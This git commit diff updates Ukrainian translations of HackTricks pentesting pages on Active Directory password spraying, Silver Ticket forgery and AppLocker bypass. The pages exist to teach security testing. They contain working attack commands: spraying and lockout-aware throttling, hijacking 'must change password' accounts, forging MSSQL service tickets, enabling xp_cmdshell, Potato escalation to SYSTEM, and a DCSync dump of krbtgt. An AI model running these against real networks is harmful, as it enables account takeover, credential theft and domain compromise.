Translated ['src/windows-hardening/active-directory-methodology/password

This commit is contained in:
Translator 2025-09-03 17:19:05 +00:00
parent 389b86e753
commit b2bd0492e8
4 changed files with 254 additions and 143 deletions

View File

@ -1,7 +1,7 @@
# Керберос Аутентифікація # Аутентифікація Kerberos
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
**Перегляньте дивовижний пост від:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/) **Перегляньте чудову статтю:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -5,16 +5,16 @@
## **Password Spraying** ## **Password Spraying**
Коли ви знайшли кілька **valid usernames**, ви можете спробувати найбільш поширені **common passwords** (з урахуванням password policy середовища) для кожного з виявлених користувачів.\ Після того, як ви знайшли кілька **valid usernames** ви можете спробувати найбільш поширені **common passwords** (keep in mind the password policy of the environment)\ з кожним із виявлених користувачів.\
За **default** значенням **minimum** **password** **length** **7**. By **default** the **minimum** **password** **length** is **7**.
Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) Списки **common usernames** також можуть бути корисними: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
Зверніть увагу, що ви **could lockout some accounts if you try several wrong passwords** (by default more than 10). Зверніть увагу, що ви **could lockout some accounts if you try several wrong passwords** (by default more than 10).
### Get password policy ### Get password policy
Якщо у вас є user credentials або shell як domain user, ви можете **get the password policy with**: Якщо у вас є якісь user credentials або shell як domain user ви можете **get the password policy with**:
```bash ```bash
# From Linux # From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol crackmapexec <IP> -u 'user' -p 'password' --pass-pol
@ -31,9 +31,9 @@ net accounts
(Get-DomainPolicy)."SystemAccess" #From powerview (Get-DomainPolicy)."SystemAccess" #From powerview
``` ```
### Exploitation з Linux (або будь-якої ОС) ### Експлуатація з Linux (або будь-якої ОС)
- За допомогою **crackmapexec:** - Використовуючи **crackmapexec:**
```bash ```bash
crackmapexec smb <IP> -u users.txt -p passwords.txt crackmapexec smb <IP> -u users.txt -p passwords.txt
# Local Auth Spray (once you found some local admin pass or hash) # Local Auth Spray (once you found some local admin pass or hash)
@ -77,7 +77,7 @@ done
# check passwords for all users in current domain # check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file> .\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
``` ```
- За допомогою [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (За замовчуванням він може згенерувати користувачів із домену та отримає політику паролів з домену й обмежить кількість спроб відповідно до неї): - За допомогою [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (За замовчуванням він може генерувати користувачів з домену і отримує політику паролів з домену та обмежує спроби відповідно до неї):
```bash ```bash
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
``` ```
@ -85,23 +85,55 @@ Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
``` ```
Invoke-SprayEmptyPassword Invoke-SprayEmptyPassword
``` ```
### Виявлення та захоплення "Password must change at next logon" Accounts (SAMR)
Низькошумна техніка полягає в тому, щоб spray a benign/empty password і відловити облікові записи, які повертають STATUS_PASSWORD_MUST_CHANGE — це вказує, що пароль був примусово прострочений і його можна змінити без знання попереднього.
Workflow:
- Перерахувати користувачів (RID brute via SAMR) для формування списку цілей:
{{#ref}}
../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
{{#endref}}
```bash
# NetExec (null/guest) + RID brute to harvest users
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
```
- Виконайте password spraying з пустим password і продовжуйте після hits, щоб захопити облікові записи, які мають змінити password при наступному logon:
```bash
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
```
- Для кожного збігу змінюйте пароль через SAMR за допомогою модуля NetExec (старий пароль не потрібен, коли встановлено "must change"):
```bash
# Strong complexity to satisfy policy
env NEWPASS='P@ssw0rd!2025#' ; \
netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"
# Validate and retrieve domain password policy with the new creds
netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
```
Операційні нотатки:
- Переконайтеся, що годинник вашого хоста синхронізований з DC перед операціями на основі Kerberos: `sudo ntpdate <dc_fqdn>`.
- Знак [+] без (Pwn3d!) у деяких модулях (наприклад, RDP/WinRM) означає, що creds дійсні, але обліковий запис не має прав на інтерактивний вхід.
## Brute Force ## Brute Force
```bash ```bash
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
``` ```
### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray) ### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
Kerberos pre-authbased spraying знижує шум порівняно з SMB/NTLM/LDAP bind attempts і краще узгоджується з AD lockout policies. SpearSpray поєднує LDAP-driven targeting, pattern engine і policy awareness (domain policy + PSOs + badPwdCount buffer), щоб виконувати spray точно й безпечно. Воно також може позначати скомпрометовані principals у Neo4j для побудови шляхів у BloodHound. Kerberos pre-authbased spraying зменшує шум порівняно з SMB/NTLM/LDAP bind attempts і краще відповідає політикам блокування AD. SpearSpray поєднує LDAP-driven targeting, pattern engine та обізнаність про політики (domain policy + PSOs + буфер badPwdCount) для точного й безпечного спреїнгу. Він також може позначати скомпрометовані principals у Neo4j для побудови шляхів у BloodHound.
Ключові ідеї: Key ideas:
- LDAP user discovery з підтримкою paging і LDAPS, опційно з використанням кастомних LDAP-фільтрів. - LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters.
- Фільтрація з урахуванням політики блокування домену та PSO, яка залишає налаштовуваний буфер спроб (threshold) і запобігає блокуванню користувачів. - Політика блокування домену + PSO-aware фільтрація, щоб залишити налаштовуваний буфер спроб (threshold) і уникнути блокування користувачів.
- Kerberos pre-auth валідація з використанням швидких gssapi bindings (генерує 4768/4771 на DCs замість 4625). - Kerberos pre-auth validation using fast gssapi bindings (generates 4768/4771 on DCs instead of 4625).
- Генерація паролів на основі шаблонів для кожного користувача з використанням змінних, таких як імена та часові значення, отримані з pwdLastSet кожного користувача. - Pattern-based, per-user password generation using variables like names and temporal values derived from each users pwdLastSet.
- Контроль пропускної спроможності через потоки (threads), джиттер (jitter) та макс. запитів за секунду. - Керування пропускною здатністю за допомогою threads, jitter та max requests per second.
- Опційна інтеграція з Neo4j для позначення owned користувачів для BloodHound. - Опційна інтеграція з Neo4j для маркування скомпрометованих користувачів для BloodHound.
Базове використання та виявлення: Basic usage and discovery:
```bash ```bash
# List available pattern variables # List available pattern variables
spearspray -l spearspray -l
@ -112,7 +144,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
# LDAPS (TCP/636) # LDAPS (TCP/636)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl
``` ```
Таргетинг і контроль шаблонів: Цілеспрямованість і контроль шаблонів:
```bash ```bash
# Custom LDAP filter (e.g., target specific OU/attributes) # Custom LDAP filter (e.g., target specific OU/attributes)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
@ -121,7 +153,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra} # Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME
``` ```
Контролі прихованості та безпеки: Заходи прихованості та безпеки:
```bash ```bash
# Control concurrency, add jitter, and cap request rate # Control concurrency, add jitter, and cap request rate
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10 spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10
@ -129,11 +161,11 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
# Leave N attempts in reserve before lockout (default threshold: 2) # Leave N attempts in reserve before lockout (default threshold: 2)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2 spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2
``` ```
Збагачення Neo4j/BloodHound: Neo4j/BloodHound збагачення:
```bash ```bash
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687 spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687
``` ```
Огляд системи патернів (patterns.txt): Огляд системи шаблонів (patterns.txt):
```text ```text
# Example templates consuming per-user attributes and temporal context # Example templates consuming per-user attributes and temporal context
{name}{separator}{year}{suffix} {name}{separator}{year}{suffix}
@ -144,27 +176,27 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
``` ```
Available variables include: Available variables include:
- {name}, {samaccountname} - {name}, {samaccountname}
- Temporal from each users pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en} - Часові значення з кожного користувача pwdLastSet (або whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
- Composition helpers and org token: {separator}, {suffix}, {extra} - Допоміжні елементи складання і org token: {separator}, {suffix}, {extra}
Оперативні нотатки: Operational notes:
- Переважно опитуйте PDC-emulator з -dc, щоб отримати найбільш авторитетні значення badPwdCount та інформацію, пов'язану з політиками. - Надавайте перевагу запитам до PDC-emulator з -dc, щоб читати найбільш авторитетні badPwdCount та інформацію, пов’язану з політикою.
- badPwdCount resets are triggered on the next attempt after the observation window; use threshold and timing to stay safe. - Скидання badPwdCount відбувається при наступній спробі після вікна спостереження; використовуйте поріг і таймінг, щоб залишатися в безпеці.
- Kerberos pre-auth attempts surface as 4768/4771 in DC telemetry; use jitter and rate-limiting to blend in. - Спроби Kerberos pre-auth відображаються як 4768/4771 у телеметрії DC; використовуйте jitter і rate-limiting, щоб злитися з фоновим трафіком.
> Порада: SpearSprays default LDAP page size is 200; adjust with -lps as needed. > Tip: SpearSprays default LDAP page size is 200; adjust with -lps as needed.
## Outlook Web Access ## Outlook Web Access
Існує кілька інструментів для p**assword spraying outlook**. Існує кілька інструментів для password spraying outlook.
- With [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) - З [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
- with [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) - З [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
- With [Ruler](https://github.com/sensepost/ruler) (reliable!) - З [Ruler](https://github.com/sensepost/ruler) (надійний!)
- With [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell) - З [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
- With [MailSniper](https://github.com/dafthack/MailSniper) (Powershell) - З [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
Щоб використовувати будь-який із цих інструментів, вам потрібен список користувачів і password / невеликий список passwords для spray. Щоб використовувати будь-який із цих інструментів, вам потрібен список користувачів та пароль або невеликий список паролів для виконання password spraying.
```bash ```bash
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020 [x] Failed: larsson:Summer2020
@ -194,6 +226,7 @@ Available variables include:
- [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell) - [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
- [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296) - [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
- [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying) - [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
- [HTB Sendai 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -6,13 +6,13 @@
## Silver ticket ## Silver ticket
Атака **Silver Ticket** передбачає експлуатацію сервісних квитків в середовищах Active Directory (AD). Цей метод базується на **отриманні NTLM хешу облікового запису сервісу**, такого як обліковий запис комп'ютера, для підробки квитка служби надання квитків (TGS). З цим підробленим квитком зловмисник може отримати доступ до конкретних сервісів в мережі, **вдаючи з себе будь-якого користувача**, зазвичай намагаючись отримати адміністративні привілеї. Підкреслюється, що використання AES ключів для підробки квитків є більш безпечним і менш помітним. Атака **Silver Ticket** передбачає експлуатацію service tickets в середовищах Active Directory (AD). Цей метод базується на **acquiring the NTLM hash of a service account**, наприклад computer account, для підробки Ticket Granting Service (TGS) ticket. З таким підробленим квитком атакуючий може отримати доступ до конкретних сервісів у мережі, **impersonating any user**, зазвичай прагнучи отримати адміністративні привілеї. Підкреслюється, що використання AES keys для підробки квитків є більш безпечним і менш помітним.
> [!WARNING] > [!WARNING]
> Silver Tickets менш помітні, ніж Golden Tickets, оскільки вони вимагають лише **хеш облікового запису сервісу**, а не облікового запису krbtgt. Однак вони обмежені конкретним сервісом, на який націлені. Більше того, просто вкрасти пароль користувача. > Silver Tickets менш помітні, ніж Golden Tickets, оскільки вони потребують лише **hash of the service account**, а не krbtgt account. Однак вони обмежені конкретним сервісом, на який спрямовані. Крім того, достатньо просто вкрасти пароль користувача.
Більше того, якщо ви зкомпрометуєте **пароль облікового запису з SPN**, ви можете використовувати цей пароль для створення Silver Ticket, вдаючи з себе будь-якого користувача для цього сервісу. > Якщо ви скомпрометували **account's password with a SPN**, ви можете використати цей пароль для створення Silver Ticket, що impersonating any user до цього сервісу.
Для створення квитків використовуються різні інструменти в залежності від операційної системи: Для створення квитків (ticket crafting) використовуються різні інструменти залежно від операційної системи:
### On Linux ### On Linux
```bash ```bash
@ -20,7 +20,7 @@ python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn
export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass
``` ```
### На Windows ### У Windows
```bash ```bash
# Using Rubeus # Using Rubeus
## /ldap option is used to get domain data automatically ## /ldap option is used to get domain data automatically
@ -37,48 +37,81 @@ mimikatz.exe "kerberos::ptt <TICKET_FILE>"
# Obtain a shell # Obtain a shell
.\PsExec.exe -accepteula \\<TARGET> cmd .\PsExec.exe -accepteula \\<TARGET> cmd
``` ```
CIFS-сервіс виділяється як загальна ціль для доступу до файлової системи жертви, але інші сервіси, такі як HOST і RPCSS, також можуть бути використані для завдань і запитів WMI. Сервіс CIFS підкреслюється як поширена ціль для доступу до файлової системи жертви, але інші сервіси, такі як HOST і RPCSS, також можна експлуатувати для виконання завдань та WMI-запитів.
### Приклад: MSSQL service (MSSQLSvc) + Potato to SYSTEM
Якщо у вас є NTLM-хеш (або AES-ключ) облікового запису сервісу SQL (наприклад, sqlsvc), ви можете підробити TGS для MSSQL SPN і impersonate будь-якого користувача для SQL service. Далі увімкніть xp_cmdshell, щоб виконувати команди від імені облікового запису сервісу SQL. Якщо цей токен має SeImpersonatePrivilege, використайте Potato для ескалації до SYSTEM.
```bash
# Forge a silver ticket for MSSQLSvc (RC4/NTLM example)
python ticketer.py -nthash <SQLSVC_RC4> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
-spn MSSQLSvc/<host.fqdn>:1433 administrator
export KRB5CCNAME=$PWD/administrator.ccache
# Connect to SQL using Kerberos and run commands via xp_cmdshell
impacket-mssqlclient -k -no-pass <DOMAIN>/administrator@<host.fqdn>:1433 \
-q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'"
```
- Якщо отриманий контекст має SeImpersonatePrivilege (зазвичай для service accounts), використайте варіант Potato, щоб отримати SYSTEM:
```bash
# On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato
PrintSpoofer.exe -c "cmd /c whoami"
# or
GodPotato -cmd "cmd /c whoami"
```
Детальніше про зловживання MSSQL та увімкнення xp_cmdshell:
{{#ref}}
abusing-ad-mssql.md
{{#endref}}
Огляд Potato techniques:
{{#ref}}
../windows-local-privilege-escalation/roguepotato-and-printspoofer.md
{{#endref}}
## Доступні сервіси ## Доступні сервіси
| Тип сервісу | Сервісні срібні квитки | | Service Type | Service Silver Tickets |
| ------------------------------------------ | -------------------------------------------------------------------------- | | ------------------------------------------ | -------------------------------------------------------------------------- |
| WMI | <p>HOST</p><p>RPCSS</p> | | WMI | <p>HOST</p><p>RPCSS</p> |
| PowerShell Remoting | <p>HOST</p><p>HTTP</p><p>В залежності від ОС також:</p><p>WSMAN</p><p>RPCSS</p> | | PowerShell Remoting | <p>HOST</p><p>HTTP</p><p>Depending on OS also:</p><p>WSMAN</p><p>RPCSS</p> |
| WinRM | <p>HOST</p><p>HTTP</p><p>В деяких випадках ви можете просто запитати: WINRM</p> | | WinRM | <p>HOST</p><p>HTTP</p><p>In some occasions you can just ask for: WINRM</p> |
| Заплановані завдання | HOST | | Scheduled Tasks | HOST |
| Спільний доступ до файлів Windows, також psexec | CIFS | | Windows File Share, also psexec | CIFS |
| Операції LDAP, включаючи DCSync | LDAP | | LDAP operations, included DCSync | LDAP |
| Інструменти адміністрування віддалених серверів Windows | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> | | Windows Remote Server Administration Tools | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> |
| Золоті квитки | krbtgt | | Golden Tickets | krbtgt |
Використовуючи **Rubeus**, ви можете **запитати всі** ці квитки, використовуючи параметр: Використовуючи **Rubeus**, ви можете **запитати всі** ці квитки, використавши параметр:
- `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm` - `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm`
### Ідентифікатори подій срібних квитків ### Silver tickets — Ідентифікатори подій
- 4624: Вхід облікового запису - 4624: Успішний вхід облікового запису
- 4634: Вихід облікового запису - 4634: Вихід з облікового запису
- 4672: Вхід адміністратора - 4672: Адміністраторський вхід
## Постійність ## Персистентність
Щоб уникнути зміни паролів на машинах кожні 30 днів, встановіть `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` або ви можете встановити `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` на більше значення, ніж 30 днів, щоб вказати період ротації, коли пароль машини має бути змінений. Щоб уникнути того, щоб машини змінювали пароль кожні 30 днів, встановіть `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` або можна встановити `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` на значення більше ніж 30days, щоб вказати період ротації, коли пароль машини має бути змінений.
## Зловживання сервісними квитками ## Зловживання сервісними квитками
У наступних прикладах уявімо, що квиток отримано, імплементуючи обліковий запис адміністратора. У наведених прикладах уявімо, що квиток отримано шляхом імітації облікового запису адміністратора.
### CIFS ### CIFS
З цим квитком ви зможете отримати доступ до папок `C$` і `ADMIN$` через **SMB** (якщо вони відкриті) і копіювати файли до частини віддаленої файлової системи, просто зробивши щось на зразок: З цим квитком ви зможете отримати доступ до папок `C$` та `ADMIN$` через **SMB** (якщо вони відкриті) та скопіювати файли в частину віддаленої файлової системи, просто зробивши щось на кшталт:
```bash ```bash
dir \\vulnerable.computer\C$ dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$ dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp copy afile.txt \\vulnerable.computer\C$\Windows\Temp
``` ```
Ви також зможете отримати оболонку всередині хоста або виконати довільні команди, використовуючи **psexec**: Ви також зможете отримати shell усередині host або виконувати довільні команди за допомогою **psexec**:
{{#ref}} {{#ref}}
../lateral-movement/psexec-and-winexec.md ../lateral-movement/psexec-and-winexec.md
@ -86,7 +119,7 @@ copy afile.txt \\vulnerable.computer\C$\Windows\Temp
### HOST ### HOST
З цією дозволом ви можете створювати заплановані завдання на віддалених комп'ютерах і виконувати довільні команди: З цим дозволом ви можете створювати заплановані завдання на віддалених комп'ютерах і виконувати довільні команди:
```bash ```bash
#Check you have permissions to use schtasks over a remote server #Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc schtasks /S some.vuln.pc
@ -100,7 +133,7 @@ schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"
``` ```
### HOST + RPCSS ### HOST + RPCSS
З цими квитками ви можете **виконати WMI в системі жертви**: За допомогою цих квитків ви можете **виконувати WMI у системі жертви**:
```bash ```bash
#Check you have enough privileges #Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
@ -110,30 +143,32 @@ Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlis
#You can also use wmic #You can also use wmic
wmic remote.computer.local list full /format:list wmic remote.computer.local list full /format:list
``` ```
Знайдіть **додаткову інформацію про wmiexec** на наступній сторінці: Знайдіть **більше інформації про wmiexec** на наступній сторінці:
{{#ref}} {{#ref}}
../lateral-movement/wmiexec.md ../lateral-movement/wmiexec.md
{{#endref}} {{#endref}}
### HOST + WSMAN (WINRM) ### ХОСТ + WSMAN (WINRM)
З доступом winrm до комп'ютера ви можете **отримати доступ** до нього і навіть отримати PowerShell: Маючи доступ по winrm до комп'ютера, ви можете **підключитися до нього** та навіть отримати PowerShell:
```bash ```bash
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
``` ```
Перевірте наступну сторінку, щоб дізнатися **більше способів підключення до віддаленого хоста за допомогою winrm**: Перегляньте наступну сторінку, щоб дізнатися **більше способів підключення до віддаленого хоста за допомогою winrm**:
{{#ref}} {{#ref}}
../lateral-movement/winrm.md ../lateral-movement/winrm.md
{{#endref}} {{#endref}}
> [!WARNING] > [!WARNING]
> Зверніть увагу, що **winrm має бути активним і слухати** на віддаленому комп'ютері для доступу до нього. > Зверніть увагу, що **winrm має бути активним і прослуховувати** на віддаленому комп'ютері, щоб отримати до нього доступ.
### LDAP ### LDAP
З цією привілеєю ви можете скинути базу даних DC, використовуючи **DCSync**: Маючи це право, ви можете отримати дамп бази даних DC за допомогою **DCSync**:
``` ```
mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
``` ```
@ -145,11 +180,12 @@ dcsync.md
{{#endref}} {{#endref}}
## Посилання ## Джерела
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets) - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/) - [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
- [https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027](https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027) - [https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027](https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027)
- [HTB Sendai 0xdf: Silver Ticket + Potato path](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)

View File

@ -1,17 +1,17 @@
# Windows Security Controls # Контролі безпеки Windows
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## AppLocker Policy ## Політика AppLocker
Список дозволених програм - це список затверджених програмних додатків або виконуваних файлів, які можуть бути присутніми та виконуватись на системі. Мета полягає в захисті середовища від шкідливого програмного забезпечення та незатверджених програм, які не відповідають конкретним бізнес-потребам організації. An application whitelist is a list of approved software applications or executables that are allowed to be present and run on a system. The goal is to protect the environment from harmful malware and unapproved software that does not align with the specific business needs of an organization.
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) - це **рішення Microsoft для білої списки програм** і надає системним адміністраторам контроль над **тим, які програми та файли можуть виконувати користувачі**. Воно забезпечує **досить детальний контроль** над виконуваними файлами, скриптами, файлами установників Windows, DLL, упакованими додатками та установниками упакованих додатків.\ [AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) is Microsoft's **рішення для білого списку застосунків** і дає системним адміністраторам контроль над **якими застосунками та файлами користувачі можуть запускати**. Воно забезпечує **детальний контроль** над виконуваними файлами, скриптами, файлами встановлення Windows, DLLs, упакованими додатками та інсталяторими упакованих додатків.\
Зазвичай організації **блокують cmd.exe та PowerShell.exe** і запис у певні каталоги, **але це все можна обійти**. Звично організації **блокують cmd.exe та PowerShell.exe** і запис прав у певні каталоги, **але все це можна обійти**.
### Check ### Перевірка
Перевірте, які файли/розширення знаходяться в чорному/білому списках: Перевірте, які файли/розширення занесені в чорний/білий список:
```bash ```bash
Get-ApplockerPolicy -Effective -xml Get-ApplockerPolicy -Effective -xml
@ -20,60 +20,60 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$a = Get-ApplockerPolicy -effective $a = Get-ApplockerPolicy -effective
$a.rulecollections $a.rulecollections
``` ```
Цей шлях реєстру містить конфігурації та політики, застосовані AppLocker, що надає можливість переглянути поточний набір правил, що застосовуються в системі: Цей шлях реєстру містить конфігурації та політики, застосовані за допомогою AppLocker, і дає змогу переглянути поточний набір правил, що застосовуються в системі:
- `HKLM\Software\Policies\Microsoft\Windows\SrpV2` - `HKLM\Software\Policies\Microsoft\Windows\SrpV2`
### Обхід ### Обхід
- Корисні **записувані папки** для обходу політики AppLocker: Якщо AppLocker дозволяє виконувати будь-що всередині `C:\Windows\System32` або `C:\Windows`, є **записувані папки**, які ви можете використовувати для **обходу цього**. - Корисні **папки з правом запису** для обходу AppLocker Policy: Якщо AppLocker дозволяє виконувати будь-що всередині `C:\Windows\System32` або `C:\Windows`, існують **папки з правом запису**, які ви можете використати, щоб **обійти це**.
``` ```
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks C:\Windows\Tasks
C:\windows\tracing C:\windows\tracing
``` ```
- Загальновідомі **достовірні** [**"LOLBAS's"**](https://lolbas-project.github.io/) бінарні файли також можуть бути корисними для обходу AppLocker. - Зазвичай **довірені** [**"LOLBAS's"**](https://lolbas-project.github.io/) бінарні файли також можуть бути корисні для обходу AppLocker.
- **Погано написані правила також можуть бути обійдені** - **Погано написані правила також можуть бути обійдені**
- Наприклад, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, ви можете створити **папку під назвою `allowed`** будь-де, і вона буде дозволена. - Наприклад, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, можна створити **папку з назвою `allowed`** будь-де, і вона буде дозволена.
